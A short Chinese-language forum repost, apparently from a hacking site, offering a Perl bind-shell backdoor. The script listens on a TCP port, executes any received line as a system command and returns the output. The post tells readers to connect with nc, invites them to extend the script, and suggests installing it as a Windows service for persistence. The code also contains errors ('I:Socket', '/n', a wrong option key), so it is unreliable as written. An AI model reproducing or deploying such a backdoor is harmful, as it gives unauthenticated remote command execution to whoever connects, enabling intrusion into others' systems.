转至非安全 python
http://www.nohack.cn/bbs/dispbbs.asp?boardID=13ID=551page=1
用nc连,使用了简易的管道命令(``)使之能执行基本的系统命令,有兴趣的朋友可以添加、修改一下,做出更多东西,谁有空建议用win32模块给他系统化一下,再用perlsvc做个服务啥的
#!/usr/bin/perl
use I:Socket;
$port = $ARGV[0];
my $socket = new I:Socket::INET ( 'Localhost'=>'127.0.0.1' ,
'LocalPort'=>$port ,
'Listen'=>1 ,
'Proto'=>'tcp' ,
'Reuse'=>1 );
die "Reason: $!" unless $socket;
while (my $new_socket = $socket->accept()) {
while (my $buffer=<$new_socket> ){
if ($buffer=~/exit/) {exit;}
$res_msg=`$buffer`;
print $new_socket $res_msg."/n";
}}